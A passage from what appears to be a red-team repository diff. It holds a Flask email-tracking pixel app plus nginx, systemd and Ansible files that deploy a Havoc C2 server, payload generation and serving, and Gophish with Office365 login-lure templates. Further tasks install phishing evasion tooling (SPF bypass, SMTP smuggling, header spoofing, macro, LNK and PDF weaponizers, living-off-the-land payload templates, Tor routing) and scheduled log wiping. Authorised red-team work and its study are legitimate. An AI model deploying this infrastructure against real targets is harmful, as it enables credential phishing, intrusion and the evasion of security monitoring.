stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, stats=stats)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
+47
View File
@@ -0,0 +1,47 @@
server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Restrict dashboard to localhost only
location / {
allow 127.0.0.1;
deny all;
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Allow public access only to pixel endpoints
location ~ ^/pixel/(.+)\.png$ {
# Public access allowed
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
}
+45
View File
@@ -0,0 +1,45 @@
#!/bin/bash
# CLI tool to view email tracking stats
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
function show_summary() {
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Email Tracking Summary:"
echo "======================="
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
}
function show_details() {
ID=$1
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Details for tracking ID: $ID"
echo "=========================="
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
}
case "$1" in
"list")
show_summary
;;
"details")
if [ -z "$2" ]; then
echo "Usage: $0 details TRACKING_ID"
exit 1
fi
show_details "$2"
;;
*)
echo "Usage: $0 [list|details TRACKING_ID]"
echo " list - Show summary of all tracking IDs"
echo " details ID - Show details for specific tracking ID"
;;
esac
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/root/Tools/tracker
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
+25
View File
@@ -0,0 +1,25 @@
# tasks/cleanup_confirmation.yml - Common task file for cleanup confirmation
- name: Show cleanup information
debug:
msg: |
************************************************
* CLEANUP OPERATION *
************************************************
The following resources will be DELETED PERMANENTLY:
{% if cleanup_redirector and redirector_name is defined %}
- Redirector: {{ redirector_name }} ({{ redirector_ip | default('IP unknown') }})
{% endif %}
{% if cleanup_c2 and c2_name is defined %}
- C2 Server: {{ c2_name }} ({{ c2_ip | default('IP unknown') }})
{% endif %}
when: confirm_cleanup | bool
- name: Confirm cleanup operation
pause:
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
register: confirmation
when: confirm_cleanup | bool
- name: Skip cleanup if not confirmed
meta: end_play
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
@@ -0,0 +1,137 @@
---
# Advanced evasion techniques for red team phishing
- name: Install advanced evasion tools
apt:
name:
- python3-dnspython
- python3-requests
- python3-selenium
- chromium-browser
- chromium-chromedriver
- tor
- proxychains4
state: present
- name: Create SMTP smuggling configuration
template:
src: "../templates/smtp-smuggling.py.j2"
dest: "/root/Tools/phishing/smtp-smuggling.py"
mode: '0755'
owner: root
group: root
when: enable_smtp_smuggling | default(false) | bool
- name: Configure SPF bypass techniques
template:
src: "../templates/spf-bypass.sh.j2"
dest: "/root/Tools/phishing/spf-bypass.sh"
mode: '0755'
owner: root
group: root
when: enable_spf_bypass | default(false) | bool
- name: Create domain aging simulation
template:
src: "../templates/domain-aging.py.j2"
dest: "/root/Tools/phishing/domain-aging.py"
mode: '0755'
owner: root
group: root
when: aged_domain_mode | default(false) | bool
- name: Set up MTA fronting configuration
template:
src: "../templates/mta-fronting.conf.j2"
dest: "/etc/postfix/mta_fronting.cf"
mode: '0644'
owner: root
group: root
when: enable_mta_fronting | default(false) | bool
notify: restart postfix
- name: Create file format manipulation tools
copy:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
- { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
- { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
- { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
- name: Create Living off the Land (LOtL) payload templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
- name: Set up CDN abuse configuration
template:
src: "../templates/cdn-abuse.py.j2"
dest: "/root/Tools/phishing/cdn-abuse.py"
mode: '0755'
owner: root
group: root
when: enable_cdn_abuse | default(false) | bool
- name: Create domain reputation monitoring
template:
src: "../templates/reputation-monitor.py.j2"
dest: "/root/Tools/phishing/reputation-monitor.py"
mode: '0755'
owner: root
group: root
- name: Set up cron job for reputation monitoring
cron:
name: "Domain reputation monitoring"
minute: "0"
hour: "*/4"
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
- name: Create email header spoofing tools
template:
src: "../templates/header-spoofing.py.j2"
dest: "/root/Tools/phishing/header-spoofing.py"
mode: '0755'
owner: root
group: root
- name: Configure Tor for anonymization
template:
src: "../templates/torrc-phishing.j2"
dest: "/etc/tor/torrc"
backup: yes
notify: restart tor
when: enable_tor_routing | default(false) | bool
- name: Create user-agent rotation script
template:
src: "../templates/user-agent-rotation.py.j2"
dest: "/root/Tools/phishing/user-agent-rotation.py"
mode: '0755'
owner: root
group: root
- name: Set up automated evasion techniques
template:
src: "../templates/automated-evasion.py.j2"
dest: "/root/Tools/phishing/automated-evasion.py"
mode: '0755'
owner: root
group: root
handlers:
- name: restart tor
systemd:
name: tor
state: restarted
+344
View File
@@ -0,0 +1,344 @@
---
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
apt:
update_cache: yes
- name: Disable default Kali MOTD
file:
path: "{{ ansible_env.HOME }}/.hushlogin"
state: touch
mode: '0644'
when: ansible_distribution == "Kali GNU/Linux"
- name: Set a custom MOTD
template:
src: "../templates/motd.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Install base utilities and tools via apt
apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- build-essential
- zip
- unzip
- postfix
- net-tools
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
- build-essential
# Additional Havoc C2 dependencies
- mingw-w64
- nasm
- cmake
- ninja-build
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/beacons
- /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- "../files/clean-logs.sh"
- "../files/secure-exit.sh"
- "../files/havoc_installer.sh"
- "../files/havoc_shell_handler.sh"
- "../files/secure_payload_sync.sh"
- name: Copy post-install script
copy:
src: "../files/post_install_c2.sh"
dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create post-install instructions
template:
src: "../templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Set up systemd timer for payload sync
shell: |
cat > /etc/systemd/system/payload-sync.service << 'EOF'
[Unit]
Description=Secure Payload Sync Service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/root/Tools/secure_payload_sync.sh
User=root
Group=root
PrivateTmp=true
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOF
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
[Unit]
Description=Secure Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=30m
RandomizedDelaySec=30m
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable payload-sync.timer
systemctl start payload-sync.timer
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: "/root/Tools/Havoc"
async: 1800 # Allow 30 minutes for completion
poll: 0 # Don't wait for completion
register: havoc_installation_job
- name: Wait for Havoc installation to complete
async_status:
jid: "{{ havoc_installation_job.ansible_job_id }}"
register: job_result
until: job_result.finished
retries: 60 # Check every 30 seconds for up to 30 minutes
delay: 30
when: havoc_installation_job is defined
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template:
src: "../templates/generate_havoc_payloads.sh.j2"
dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
- name: Create Havoc C2 configuration from template
template:
src: "../templates/havoc-config.yaotl.j2"
dest: "/root/Tools/Havoc/data/havoc.yaotl"
mode: '0600'
owner: root
group: root
- name: Create Linux loader script template
template:
src: "../templates/linux_loader.sh.j2"
dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
- name: Create Windows PowerShell loader template
template:
src: "../templates/windows_loader.ps1.j2"
dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
src: "../templates/serve-havoc-payloads.sh.j2"
dest: "/root/Tools/serve-havoc-payloads.sh"
mode: '0700'
owner: root
group: root
vars:
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool
- name: Generate Havoc payloads
shell: "/root/Tools/generate_havoc_payloads.sh"
args:
creates: "/root/Tools/Havoc/payloads/manifest.json"
register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- name: Display payload generation output
debug:
var: payload_generation_result.stdout_lines
when: payload_generation_result.stdout_lines is defined
- name: Start payload server
shell: |
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
src: "../templates/redirector-havoc-fragment.j2"
dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Havoc usage guide
template:
src: "../templates/havoc-guide.j2"
dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Include traffic flow configuration
include_tasks: "../tasks/traffic_flow_config.yml"
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
- name: Ensure SSH key for redirector access is available
block:
- name: Copy deployment SSH key to C2 for redirector access (AWS)
copy:
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider == "aws"
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
copy:
src: "{{ ssh_key_path | replace('.pub', '') }}"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider != "aws"
- name: Create SSH config for redirector access
blockinfile:
path: /root/.ssh/config
create: yes
mode: '0600'
owner: root
group: root
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
block: |
Host redirector
HostName {{ redirector_ip }}
User {{ ssh_user | default('root') }}
IdentityFile /root/.ssh/redirector_key
StrictHostKeyChecking no
when: not redirector_only | bool and redirector_ip is defined
# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
include_tasks: "configure_integrated_tracker.yml"
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,111 @@
---
# FedRAMP compliance configuration for user awareness testing
- name: Create FedRAMP compliant landing pages
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
- { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
- { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
- name: Create FedRAMP compliant email templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
- { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
- name: Configure anonymized reporting
template:
src: "../templates/fedramp-reporting.py.j2"
dest: "/root/Tools/phishing/fedramp-reporting.py"
mode: '0755'
owner: root
group: root
- name: Create role-based tracking system
template:
src: "../templates/role-tracking.py.j2"
dest: "/root/Tools/phishing/role-tracking.py"
mode: '0755'
owner: root
group: root
- name: Set up immediate phish identification
template:
src: "../templates/immediate-identification.js.j2"
dest: "/var/www/phishing/assets/immediate-identification.js"
mode: '0644'
owner: www-data
group: www-data
- name: Create educational content delivery system
template:
src: "../templates/education-delivery.php.j2"
dest: "/var/www/phishing/api/education.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure compliance database schema
shell: |
sqlite3 /root/Tools/phishing/compliance.db << EOF
CREATE TABLE IF NOT EXISTS fedramp_campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
csp_organization TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active'
);
CREATE TABLE IF NOT EXISTS role_interactions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
user_role TEXT NOT NULL,
interaction_type TEXT NOT NULL,
interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
education_completed BOOLEAN DEFAULT FALSE
);
CREATE TABLE IF NOT EXISTS compliance_metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
metric_type TEXT NOT NULL,
metric_value INTEGER NOT NULL,
recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
EOF
args:
creates: /root/Tools/phishing/compliance.db
- name: Set database permissions for compliance
file:
path: /root/Tools/phishing/compliance.db
owner: www-data
group: www-data
mode: '0644'
- name: Create compliance report generator
template:
src: "../templates/compliance-report-generator.py.j2"
dest: "/root/Tools/phishing/generate-compliance-report.py"
mode: '0755'
owner: root
group: root
- name: Configure email allowlisting instructions
template:
src: "../templates/allowlist-instructions.md.j2"
dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
mode: '0644'
owner: root
group: root
@@ -0,0 +1,198 @@
---
# Advanced Gophish configuration with enhanced evasion and features
- name: Create Gophish user
user:
name: gophish
system: yes
shell: /bin/bash
home: /opt/gophish
create_home: yes
- name: Download latest Gophish release
get_url:
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
dest: /tmp/gophish.zip
mode: '0644'
- name: Extract Gophish
unarchive:
src: /tmp/gophish.zip
dest: /opt/gophish
owner: gophish
group: gophish
remote_src: yes
- name: Install additional packages for advanced features
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- sqlite3
- jq
- curl
- wget
- php-fpm
- php-sqlite3
- nodejs
- npm
state: present
- name: Configure advanced Gophish settings
template:
src: "../templates/phishing/gophish-advanced-config.j2"
dest: /opt/gophish/config.json
owner: gophish
group: gophish
mode: '0600'
- name: Create enhanced email templates directory
file:
path: /opt/gophish/templates/{{ item }}
state: directory
owner: gophish
group: gophish
mode: '0755'
loop:
- email
- landing
- static
- name: Deploy email templates
template:
src: "../templates/phishing/email-templates/{{ item }}.j2"
dest: "/opt/gophish/templates/email/{{ item }}.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365_login
- password_expiry
- security_alert
- file_share
when: not fedramp_mode | default(false) | bool
- name: Deploy FedRAMP compliant templates
template:
src: "../templates/phishing/fedramp-compliance.j2"
dest: "/opt/gophish/templates/email/fedramp_template.html"
owner: gophish
group: gophish
mode: '0644'
when: fedramp_mode | default(false) | bool
- name: Create advanced landing pages
template:
src: "../templates/phishing/phishing-landing-page.j2"
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
owner: gophish
group: gophish
mode: '0644'
loop:
- office365
- generic
- fedramp
vars:
template_type: "{{ item }}"
- name: Install enhanced tracking pixel
copy:
src: "../files/simple_email_tracker.py"
dest: /opt/gophish/tracker.py
owner: gophish
group: gophish
mode: '0755'
- name: Create Gophish database backup script
template:
src: "../templates/phishing/gophish-backup.sh.j2"
dest: /opt/gophish/backup.sh
owner: gophish
group: gophish
mode: '0755'
- name: Set up database backup cron
cron:
name: "Backup Gophish database"
minute: "0"
hour: "*/6"
job: "/opt/gophish/backup.sh"
user: gophish
- name: Create Gophish systemd service
template:
src: "../templates/phishing/gophish.service.j2"
dest: /etc/systemd/system/gophish.service
mode: '0644'
- name: Enable and start Gophish service
systemd:
name: gophish
state: started
enabled: yes
daemon_reload: yes
- name: Create campaign automation script
template:
src: "../templates/phishing/campaign-automation.py.j2"
dest: /opt/gophish/campaign-automation.py
owner: gophish
group: gophish
mode: '0755'
- name: Install Python dependencies for automation
pip:
name:
- requests
- python-dateutil
- jinja2
state: present
- name: Configure SMTP relay to MTA front
blockinfile:
path: /opt/gophish/config.json
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
block: |
"smtp": {
"host": "{{ mta_front_ip }}:587",
"username": "{{ smtp_relay_user }}",
"password": "{{ smtp_relay_pass }}",
"from": "{{ sender_email }}",
"ignore_cert_errors": true
}
- name: Create phishing metrics dashboard
template:
src: "../templates/phishing/metrics-dashboard.html.j2"
dest: /opt/gophish/static/metrics.html
owner: gophish
group: gophish
mode: '0644'
- name: Set up log aggregation
lineinfile:
path: /etc/rsyslog.conf
line: "local0.* /var/log/gophish.log"
state: present
notify: restart rsyslog
- name: Configure log rotation for Gophish
copy:
dest: /etc/logrotate.d/gophish
content: |
/var/log/gophish.log {
daily
missingok
rotate 30
compress
delaycompress
notifempty
create 0644 gophish gophish
}
handlers:
- name: restart rsyslog
service:
name: rsyslog
state: restarted
@@ -0,0 +1,150 @@
---
# Common task for configuring integrated email tracker on C2 server
- name: Check if integrated tracker setup is requested
debug:
msg: "Setting up integrated email tracker on C2 server"
when: setup_integrated_tracker | default(false) | bool
- name: Install required packages for tracker
apt:
name:
- python3-pip
- python3-venv
- python3-pillow
- nginx
- certbot
- python3-certbot-nginx
- jq
state: present
update_cache: yes
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker directory
file:
path: /root/Tools/tracker
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker data directory
file:
path: /root/Tools/tracker/data
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker system user
user:
name: tracker
system: yes
shell: /usr/sbin/nologin
home: /root/Tools/tracker
create_home: no
when: setup_integrated_tracker | default(false) | bool
- name: Create Python virtual environment for tracker
pip:
virtualenv: /root/Tools/tracker/venv
name:
- flask
- pillow
- gunicorn
virtualenv_command: /usr/bin/python3 -m venv
environment:
PATH: "/usr/local/bin:/usr/bin:/bin"
vars:
ansible_python_interpreter: /usr/bin/python3
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker application code
copy:
src: "../files/simple_email_tracker.py"
dest: /root/Tools/tracker/simple_email_tracker.py
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker statistics CLI tool
copy:
src: "../files/tracker-stats.sh"
dest: /root/Tools/tracker/tracker-stats.sh
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy systemd service file for tracker
copy:
src: "../files/tracker.service"
dest: /etc/systemd/system/tracker.service
mode: '0644'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Set correct permissions for tracker directories
file:
path: "{{ item }}"
state: directory
owner: tracker
group: tracker
recurse: yes
loop:
- /root/Tools/tracker
- /root/Tools/tracker/data
when: setup_integrated_tracker | default(false) | bool
- name: Create NGINX site config for tracker
template:
src: "../files/tracker-nginx.conf"
dest: /etc/nginx/sites-available/tracker
mode: '0644'
owner: root
group: root
vars:
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
when: setup_integrated_tracker | default(false) | bool
- name: Enable tracker NGINX site
file:
src: /etc/nginx/sites-available/tracker
dest: /etc/nginx/sites-enabled/tracker
state: link
when: setup_integrated_tracker | default(false) | bool
- name: Configure redirector to proxy tracking requests
lineinfile:
path: /etc/nginx/sites-available/default
insertafter: "^\\s*location / {"
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
delegate_to: "{{ groups['redirectors'][0] }}"
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
- name: Set up SSL if requested
shell: |
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
args:
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
ignore_errors: yes
- name: Start and enable tracker service
systemd:
name: tracker
state: started
enabled: yes
daemon_reload: yes
when: setup_integrated_tracker | default(false) | bool
- name: Add tracker alias to bashrc for easy access
lineinfile:
path: /root/.bashrc
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
state: present
when: setup_integrated_tracker | default(false) | bool
+170
View File
@@ -0,0 +1,170 @@
---
# Common task for configuring mail server
# Shared across all providers
- name: Configure Postfix main.cf
lineinfile:
path: /etc/postfix/main.cf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- name: Configure OpenDKIM
lineinfile:
path: /etc/opendkim.conf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^Domain', line: "Domain {{ domain }}" }
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- { regexp: '^Selector', line: "Selector mail" }
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^Syslog', line: "Syslog yes" }
- { regexp: '^UMask', line: "UMask 002" }
- { regexp: '^Mode', line: "Mode sv" }
- name: Create DKIM directory
file:
path: /etc/opendkim/keys/{{ domain }}
state: directory
owner: opendkim
group: opendkim
mode: 0700
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
args:
creates: /etc/opendkim/keys/{{ domain }}/mail.private
- name: Set permissions for DKIM keys
file:
path: /etc/opendkim/keys/{{ domain }}/mail.private
owner: opendkim
group: opendkim
mode: 0600
- name: Configure OpenDKIM TrustedHosts
copy:
content: |
127.0.0.1
::1
localhost
{{ domain }}
dest: /etc/opendkim/TrustedHosts
owner: opendkim
group: opendkim
mode: 0644
- name: Enable submission port (587) in master.cf
blockinfile:
path: /etc/postfix/master.cf
insertafter: '^#submission'
block: |
submission inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
- name: Configure Dovecot for Postfix SASL
